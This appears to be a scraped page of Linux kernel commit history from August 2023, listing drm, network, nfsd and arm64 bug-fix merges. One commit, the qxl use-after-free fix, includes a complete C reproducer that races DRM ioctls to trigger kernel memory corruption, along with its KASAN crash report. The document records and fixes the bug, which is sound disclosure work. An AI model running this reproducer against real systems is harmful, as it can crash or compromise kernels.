edid: - revert mode parsing fix that had side effects. i915: - Fix the flow for ignoring GuC SLPC efficient frequency selection - Fix SDVO panel_type initialization - Fix display probe for IVB Q and IVB D GT2 server nouveau: - fix use-after-free in connector code qaic: - integer overflow check fix - fix slicing memory leak panel: - fix JDI LT070ME05000 probing - fix AUO G121EAN01 timings amdgpu: - SMU 13.x fixes - Fix mcbp parameter for gfx9 - SMU 11.x fixes - Temporary fix for large numbers of XCP partitions - S0ix fixes - DCN 2.0 fix qxl: - fix use after free race in dumb object allocation -----BEGIN PGP SIGNATURE----- iQIzBAABCAAdFiEEEKbZHaGwW9KfbeusDHTzWXnEhr4FAmTekjgACgkQDHTzWXnE hr7Dtw/+Lmf8Puh9RIgqLFA6sThkRI3jaj5mr/0arFzCXhQKeVUFhDgbVMndQX2B JajuMYY/tz1ok5dDgUbFkY7P2v+JrDMEpADGbdv1F9OjzimBimydD0fyfY92NTPL LrugeBOQrgw2BQkY12GW010ThrzEYvapF0NTAgMXY10xsVfDkT1OkUS45TrM3KM8 rX7Vwkd48DD+N+c6wjvPP6cIKQHxktOrziCmn2ggsklGUD0anIyVpZ5mk+YC2HV+ fQKt8FihyWzdqRUEjpDn1p4HuLiaKYOBxy1Kwz8jJooqf9dA+SGA+AzXYP3wfUKs SmX7OpwWB22yhOA027oFm4y696EVg7Al4BqyblohWwwpY/hpTMxSReNQAAogTc13 TFQ1QqDM84QDzaLG58jydxh/6gmvLuCZt4Wy/Ho+qHw+n0RGiqt29DkWcGfx0ETu a/t5NANMO+lInmDELi8ns/ZL3m9+uXvl3VDA49VhMk1mZv1Wt+UKz8wJg83tz9SQ 7k9jpEntGGgqarF2X5hwIkTeZZtsnY3bdHaOmr2ed6OJ6Gq64r7gSfVaYx/EL5IN qF6s8Kbow9Y/5LGIkNry0KIrv6C6+XMQSYH0+F0TaeZFh55FPdPakJvxj8lkwGRT gWEhL1bKYeEHk7GgshztCgJl1lc47Dcbg4A7rVAH/Iyqgkqn/Hc= =P1rE -----END PGP SIGNATURE----- Merge tag 'drm-fixes-2023-08-18-1' of git://anongit.freedesktop.org/drm/drm Pull drm fixes from Dave Airlie: "Regular enough week, mostly the usual amdgpu and i915 fixes. Also qaic, nouveau, qxl and a revert for an EDID patch that had some side effects, along with a couple of panel fixes. edid: - revert mode parsing fix that had side effects. i915: - Fix the flow for ignoring GuC SLPC efficient frequency selection - Fix SDVO panel_type initialization - Fix display probe for IVB Q and IVB D GT2 server nouveau: - fix use-after-free in connector code qaic: - integer overflow check fix - fix slicing memory leak panel: - fix JDI LT070ME05000 probing - fix AUO G121EAN01 timings amdgpu: - SMU 13.x fixes - Fix mcbp parameter for gfx9 - SMU 11.x fixes - Temporary fix for large numbers of XCP partitions - S0ix fixes - DCN 2.0 fix qxl: - fix use after free race in dumb object allocation" * tag 'drm-fixes-2023-08-18-1' of git://anongit.freedesktop.org/drm/drm: drm/qxl: fix UAF on handle creation Revert "drm/edid: Fix csync detailed mode parsing" drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0"" drm/amd: flush any delayed gfxoff on suspend entry drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix drm/amdgpu: skip xcp drm device allocation when out of drm resource drm/amd/pm: Update pci link width for smu v13.0.6 drm/amd/pm: Fix temperature unit of SMU v13.0.6 drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7 drm/amdgpu: disable mcbp if parameter zero is set drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0 accel/qaic: Clean up integer overflow checking in map_user_pages() accel/qaic: Fix slicing memory leak drm/i915: fix display probe for IVB Q and IVB D GT2 server drm/i915/sdvo: fix panel_type initialization drm/i915/guc/slpc: Restore efficient freq earlier drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docs drm/panel: JDI LT070ME05000 simplify with dev_err_probe() |
||
|
Jakub Kicinski
|
820a38d8f2 |
Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/tnguy/net-queue
Tony Nguyen says: ==================== Intel Wired LAN Driver Updates 2023-08-16 (iavf, i40e) This series contains updates to iavf and i40e drivers. Piotr adds checks for unsupported Flow Director rules on iavf. Andrii replaces incorrect 'write' messaging on read operations for i40e. * '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/tnguy/net-queue: i40e: fix misleading debug logs iavf: fix FDIR rule fields masks validation ==================== Link: https://lore.kernel.org/r/20230816193308.1307535-1-anthony.l.nguyen@intel.com Signed-off-by: Jakub Kicinski <kuba@kernel.org> |
||
|
Wander Lairson Costa
|
c611589b42 |
drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}
This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>
Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
|
||
|
Dave Airlie
|
68c60b3433 |
amd-drm-fixes-6.5-2023-08-16:
amdgpu: - SMU 13.x fixes - Fix mcbp parameter for gfx9 - SMU 11.x fixes - Temporary fix for large numbers of XCP partitions - S0ix fixes - DCN 2.0 fix -----BEGIN PGP SIGNATURE----- iHUEABYKAB0WIQQgO5Idg2tXNTSZAr293/aFa7yZ2AUCZN0pwAAKCRC93/aFa7yZ 2Pm5AQCWBRQ8olFSd6w+hfuXu3E/m/nIalEMb2CAyUtvUeSJYQEAhh0FpkpcOBKG /Ya8fMz5R/FIHvzoHHga0V2ceEt67wg= =Alen -----END PGP SIGNATURE----- Merge tag 'amd-drm-fixes-6.5-2023-08-16' of https://gitlab.freedesktop.org/agd5f/linux into drm-fixes amd-drm-fixes-6.5-2023-08-16: amdgpu: - SMU 13.x fixes - Fix mcbp parameter for gfx9 - SMU 11.x fixes - Temporary fix for large numbers of XCP partitions - S0ix fixes - DCN 2.0 fix Signed-off-by: Dave Airlie <airlied@redhat.com> From: Alex Deucher <alexander.deucher@amd.com> Link: https://patchwork.freedesktop.org/patch/msgid/20230816200226.10771-1-alexander.deucher@amd.com |
||
|
Dave Airlie
|
be48306f76 |
One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for
the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for the qaic accel, a use-after-free fix for nouveau and a revert for an alleged fix in EDID parsing. -----BEGIN PGP SIGNATURE----- iHUEABYKAB0WIQRcEzekXsqa64kGDp7j7w1vZxhRxQUCZN4izwAKCRDj7w1vZxhR xRxGAP4h+R+qhB1X4SVmCB8DEY109lcHJofNK/z7aW8EG8X4sQEAlb1cOZRtmRjS 9/Wdmc7377soNHNlMNhxEg8kEeqxGwE= =c6Zn -----END PGP SIGNATURE----- Merge tag 'drm-misc-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-misc into drm-fixes One EPROBE_DEFER handling fix for the JDI LT070ME05000, a timing fix for the AUO G121EAN01 panel, an integer overflow and a memory leak fixes for the qaic accel, a use-after-free fix for nouveau and a revert for an alleged fix in EDID parsing. Signed-off-by: Dave Airlie <airlied@redhat.com> From: Maxime Ripard <mripard@redhat.com> Link: https://patchwork.freedesktop.org/patch/msgid/3olqt33em5uhxzjbqghwcwnvmw73h7bxkbdxookmnkecymd4vc@7ogm6gewpprq |
||
|
Dave Airlie
|
dd64d8ae0f |
- Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay)
- Fix SDVO panel_type initialization (Jani) - Fix display probe for IVB Q and IVB D GT2 server (Jani) -----BEGIN PGP SIGNATURE----- iQEzBAABCAAdFiEEbSBwaO7dZQkcLOKj+mJfZA7rE8oFAmTeMewACgkQ+mJfZA7r E8qILgf/cvNbXxfp0D0oqpMOQxj9b0yBZ1IFNwXtyDBRHpfZaSYOgkxhh0ybcGei p15AOwk96hET5wo2KmBsq6JakjBU7GNfRtFISOQBPevo4pFPSKO/XZTOFzp7Wb2M eqDI9EVaedGRqV+oEiRfr1XpCPunIDg7jaCC1Fl/aD+iX93GO1ExuiPgHJNdIA36 KfqVF9bgDupt9foCzPktJpwglG1xIOXCphXUogZ+15FtIfvgFvPhIGnDBVoTH9av A1kr8d114K+VPT1YqfdrgNHMw4doHcejcnNxESn0kXI2KptCKhgBHAr/93ytMz9r mix3VDSvBIWLtj18ca61BbtLKL7org== =Bx6T -----END PGP SIGNATURE----- Merge tag 'drm-intel-fixes-2023-08-17' of git://anongit.freedesktop.org/drm/drm-intel into drm-fixes - Fix the flow for ignoring GuC SLPC efficient frequency selection (Vinay) - Fix SDVO panel_type initialization (Jani) - Fix display probe for IVB Q and IVB D GT2 server (Jani) Signed-off-by: Dave Airlie <airlied@redhat.com> From: Rodrigo Vivi <rodrigo.vivi@intel.com> Link: https://patchwork.freedesktop.org/patch/msgid/ZN4yduyBU1Ev9dc7@intel.com |
||
|
Jakub Kicinski
|
e9bbd60169 |
mlx5-fixes-2023-08-16
-----BEGIN PGP SIGNATURE----- iQEzBAABCAAdFiEEGhZs6bAKwk/OTgTpSD+KveBX+j4FAmTdNAEACgkQSD+KveBX +j76qQf+PO4Po2ihQifANqZdJ75PumJxvHw3GUtroq0ELt2CqUx4cFwnVVoy2+6Y fYctk0UpFu5yRHkPUv5jVgP8ixDgLiJ8wLR15evCi3iDKxi0Ta/e+8EsTfKBrtI4 GXK7wYTL+awZz5QDyerkMjqDSDDJ8KBgL4p2B1jpKgPMvd5gYWxqG+6MC5b/AAFe jqZAB6vocCYH6TGRBn7Gn2b6jnWhG35HBViv+nUCjZKRpVrkNq4wbh9RfeAgOaqz 8rEBII19EnbaBj+RpJrLNgSINmv5TQCd4PY0CLkhqFYtJw6nlYEYcuMkdfi8VUO8 P2UNhznOnCtJqai0Unsz2tR6H20uzQ== =BUoK -----END PGP SIGNATURE----- Merge tag 'mlx5-fixes-2023-08-16' of git://git.kernel.org/pub/scm/linux/kernel/git/saeed/linux Saeed Mahameed says: ==================== mlx5 fixes 2023-08-16 This series provides bug fixes to mlx5 driver. * tag 'mlx5-fixes-2023-08-16' of git://git.kernel.org/pub/scm/linux/kernel/git/saeed/linux: net/mlx5: Fix mlx5_cmd_update_root_ft() error flow net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT ==================== Link: https://lore.kernel.org/r/20230816204108.53819-1-saeed@kernel.org Signed-off-by: Jakub Kicinski <kuba@kernel.org> |
||
|
Marcin Szycik
|
43d00e102d |
ice: Block switchdev mode when ADQ is active and vice versa
ADQ and switchdev are not supported simultaneously. Enabling both at the
same time can result in nullptr dereference.
To prevent this, check if ADQ is active when changing devlink mode to
switchdev mode, and check if switchdev is active when enabling ADQ.
Fixes:
|
||
|
Manish Chopra
|
2eb9625a3a |
qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes:
|
||
|
Eric Dumazet
|
b616be6b97 |
net: do not allow gso_size to be set to GSO_BY_FRAGS
One missing check in virtio_net_hdr_to_skb() allowed
syzbot to crash kernels again [1]
Do not allow gso_size to be set to GSO_BY_FRAGS (0xffff),
because this magic value is used by the kernel.
[1]
general protection fault, probably for non-canonical address 0xdffffc000000000e: 0000 [#1] PREEMPT SMP KASAN
KASAN: null-ptr-deref in range [0x0000000000000070-0x0000000000000077]
CPU: 0 PID: 5039 Comm: syz-executor401 Not tainted 6.5.0-rc5-next-20230809-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/26/2023
RIP: 0010:skb_segment+0x1a52/0x3ef0 net/core/skbuff.c:4500
Code: 00 00 00 e9 ab eb ff ff e8 6b 96 5d f9 48 8b 84 24 00 01 00 00 48 8d 78 70 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 08 3c 03 0f 8e ea 21 00 00 48 8b 84 24 00 01
RSP: 0018:ffffc90003d3f1c8 EFLAGS: 00010202
RAX: dffffc0000000000 RBX: 000000000001fffe RCX: 0000000000000000
RDX: 000000000000000e RSI: ffffffff882a3115 RDI: 0000000000000070
RBP: ffffc90003d3f378 R08: 0000000000000005 R09: 000000000000ffff
R10: 000000000000ffff R11: 5ee4a93e456187d6 R12: 000000000001ffc6
R13: dffffc0000000000 R14: 0000000000000008 R15: 000000000000ffff
FS: 00005555563f2380(0000) GS:ffff8880b9800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020020000 CR3: 000000001626d000 CR4: 00000000003506f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
udp6_ufo_fragment+0x9d2/0xd50 net/ipv6/udp_offload.c:109
ipv6_gso_segment+0x5c4/0x17b0 net/ipv6/ip6_offload.c:120
skb_mac_gso_segment+0x292/0x610 net/core/gso.c:53
__skb_gso_segment+0x339/0x710 net/core/gso.c:124
skb_gso_segment include/net/gso.h:83 [inline]
validate_xmit_skb+0x3a5/0xf10 net/core/dev.c:3625
__dev_queue_xmit+0x8f0/0x3d60 net/core/dev.c:4329
dev_queue_xmit include/linux/netdevice.h:3082 [inline]
packet_xmit+0x257/0x380 net/packet/af_packet.c:276
packet_snd net/packet/af_packet.c:3087 [inline]
packet_sendmsg+0x24c7/0x5570 net/packet/af_packet.c:3119
sock_sendmsg_nosec net/socket.c:727 [inline]
sock_sendmsg+0xd9/0x180 net/socket.c:750
____sys_sendmsg+0x6ac/0x940 net/socket.c:2496
___sys_sendmsg+0x135/0x1d0 net/socket.c:2550
__sys_sendmsg+0x117/0x1e0 net/socket.c:2579
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x38/0xb0 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x63/0xcd
RIP: 0033:0x7ff27cdb34d9
Fixes:
|
||
|
Abel Wu
|
2d0c88e84e |
sock: Fix misuse of sk_under_memory_pressure()
The status of global socket memory pressure is updated when:
a) __sk_mem_raise_allocated():
enter: sk_memory_allocated(sk) > sysctl_mem[1]
leave: sk_memory_allocated(sk) <= sysctl_mem[0]
b) __sk_mem_reduce_allocated():
leave: sk_under_memory_pressure(sk) &&
sk_memory_allocated(sk) < sysctl_mem[0]
So the conditions of leaving global pressure are inconstant, which
may lead to the situation that one pressured net-memcg prevents the
global pressure from being cleared when there is indeed no global
pressure, thus the global constrains are still in effect unexpectedly
on the other sockets.
This patch fixes this by ignoring the net-memcg's pressure when
deciding whether should leave global memory pressure.
Fixes:
|
||
|
Edward Cree
|
54c9016eb8 |
sfc: don't fail probe if MAE/TC setup fails
Existing comment in the source explains why we don't want efx_init_tc()
failure to be fatal. Cited commit erroneously consolidated failure
paths causing the probe to be failed in this case.
Fixes:
|
||
|
Edward Cree
|
fa165e1949 |
sfc: don't unregister flow_indr if it was never registered
In efx_init_tc(), move the setting of efx->tc->up after the
flow_indr_dev_register() call, so that if it fails, efx_fini_tc()
won't call flow_indr_dev_unregister().
Fixes:
|
||
|
Mark Brown
|
2f43f549cd |
arm64/ptrace: Ensure that the task sees ZT writes on first use
When the value of ZT is set via ptrace we don't disable traps for SME.
This means that when a the task has never used SME before then the value
set via ptrace will never be seen by the target task since it will
trigger a SME access trap which will flush the register state.
Disable SME traps when setting ZT, this means we also need to allocate
storage for SVE if it is not already allocated, for the benefit of
streaming SVE.
Fixes:
|
||
|
Mark Brown
|
5d0a8d2fba |
arm64/ptrace: Ensure that SME is set up for target when writing SSVE state
When we use NT_ARM_SSVE to either enable streaming mode or change the
vector length for a process we do not currently do anything to ensure that
there is storage allocated for the SME specific register state. If the
task had not previously used SME or we changed the vector length then
the task will not have had TIF_SME set or backing storage for ZA/ZT
allocated, resulting in inconsistent register sizes when saving state
and spurious traps which flush the newly set register state.
We should set TIF_SME to disable traps and ensure that storage is
allocated for ZA and ZT if it is not already allocated. This requires
modifying sme_alloc() to make the flush of any existing register state
optional so we don't disturb existing state for ZA and ZT.
Fixes:
|
||
|
Linus Torvalds
|
16931859a6 |
nfsd-6.5 fixes:
- Fix new MSG_SPLICE_PAGES support in server's TCP sendmsg helper -----BEGIN PGP SIGNATURE----- iQIzBAABCAAdFiEEKLLlsBKG3yQ88j7+M2qzM29mf5cFAmTeKW4ACgkQM2qzM29m f5dqfRAAjLXcxSixOnFqp49echmMlG1DI493WbiXG05hJ43TspnoThIGI+GpeTBG LxADUeZuxbMor0In8qA/GzRGQjJpdL22E1EWfLUlFN7JtWjVyyeuYLSeECGskByP VxAiQ/uo50dYPcRI3YN391ec2GZ9wnrNkHbfj3X0pEZoZVDea3GPRXnUQbnb4GVS Xj433F1pmPfl7EFNWCSuMcb3OPjG1uzcbYWF6+1RjaLZ02QrgzvwmU4bMePGHRga PsFGBaBdVJi6Dkv41NhsAflsg6DjZnzyuHnH8N6EygMz4py3kess9TRux1J9g22f j+o/GM+U1r66YXdhMhg1kiYApemRCybrmzFgn0B9dtYC7r4MiHVVRQFgAoa95teo g4iDQ/jxJOJMFm8ipXM/bOgMcznJfcHBX2pG2cN+qXZyPQnCn+luh81JI2s5pvqf yAJ/uThL6cWdyLoM+ZBvozpfPn9QTwwqDWMtZlbVkIz/nM6kiJjdUrl2NDBpaDhq WGd3CP6GWgxoCbURpfBJPLytjhb00Bep7xRm6BZavt/XSOHRWJdhEachVyWt/zFI 6zLOMHv9A7rPTBigFAIgdfZzIL9c+StdpW3oEafWovwTBKW537W+m680tdLQK44q yl2EmeG2Z3hpqbRnDPiV5XCJ7ijArFslBBuZB6mwDCPKcbMs3FQ= =jfUp -----END PGP SIGNATURE----- Merge tag 'nfsd-6.5-4' of git://git.kernel.org/pub/scm/linux/kernel/git/cel/linux Pull nfsd fix from Chuck Lever: - Fix new MSG_SPLICE_PAGES support in server's TCP sendmsg helper * tag 'nfsd-6.5-4' of git://git.kernel.org/pub/scm/linux/kernel/git/cel/linux: sunrpc: set the bv_offset of first bvec in svc_tcp_sendmsg |
||
|
Arnd Bergmann
|
6e8d96909a |
asm-generic: partially revert "Unify uapi bitsperlong.h for arm64, riscv and loongarch"
Unifying the asm-generic headers across 32-bit and 64-bit architectures
based on the compiler provided macros was a good idea and appears to work
with all user space, but it caused a regression when building old kernels
on systems that have the new headers installed in /usr/include, as this
combination trips an inconsistency in the kernel's own tools/include
headers that are a mix of userspace and kernel-internal headers.
This affects kernel builds on arm64, riscv64 and loongarch64 systems that
might end up using the "#define __BITS_PER_LONG 32" default from the old
tools headers. Backporting the commit into stable kernels would address
this, but it would still break building kernels without that backport,
and waste time for developers trying to understand the problem.
arm64 build machines are rather common, and on riscv64 this can also
happen in practice, but loongarch64 is probably new enough to not
be used much for building old kernels, so only revert the bits
for arm64 and riscv.
Link: https://lore.kernel.org/all/20230731160402.GB1823389@dev-arch.thelio-3990X/
Reported-by: Nathan Chancellor <nathan@kernel.org>
Fixes:
|
||
|
Arnd Bergmann
|
3c78dbf251 |
Qualcomm ARM64 fixes for v6.5
